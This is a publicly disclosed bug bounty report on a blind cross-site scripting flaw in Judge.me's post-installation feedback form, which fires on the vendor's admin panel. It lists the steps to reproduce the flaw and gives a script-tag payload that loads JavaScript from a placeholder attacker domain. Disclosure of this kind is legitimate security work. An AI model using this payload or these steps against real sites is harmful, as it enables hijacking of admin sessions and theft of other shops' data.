HexBrain

Judge.me · Report #1339034

Blind XSS via Feedback form.

Validstatus
highseverity
57upvotes
3 May 2022disclosed

How it was found

Summary:

Hi Team,

I found Blind XSS which is triggered on the admin panel. I was trying to add widgets on the installation page for default theme. When the installation was done, I saw a question like that Are you happy with how everything looks?. I clicked the No, please remove all widgets button and then the feedback form arrives. I submitted my blind XSS payload. It triggered in 20-30 minutes on https://judge.me/admin which requires the HTTP Basic Authentication. I can't get the admin session cookie but I can collect all of the admin pages.

Steps To Reproduce:

  1. Go to https://odo-tester.myshopify.com/admin/ and login with the test credentials.** (credentials in the Credentials Header)**
  2. Click the Apps tab from the left side and then click Judge.me Product Reviews.
  3. Click** Add Widgets** then Start Installation and continue.
  4. When the installation is done. It asks Are you happy with how everything looks?. Choose No, please remove all widgets button. Feedback form appears and put your blind xss payload.
  5. Wait for payload triggering.

Supporting Material/References:

Vulnerable Page URL : https://judge.me/admin/████████ Referer: https://judge.me/admin/███

Cookies:http ██████████████

Credentials

email:  ██████████@yopmail.com
password: ███████
tempmail: https://yopmail.com/?judgeme-███████████ ( it can be necessary when you are login )
payload: "><script src=https://yourxssdomain></script>

Admin Page

█████ Vulnerable Page

███████ Steps to Reproduce Video

████

Impact

Blind XSS leads to access the admin panel. It may contain information leaks about other shop owners' reports. Executes javascript code on admin panel. Stealing admin cookies.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original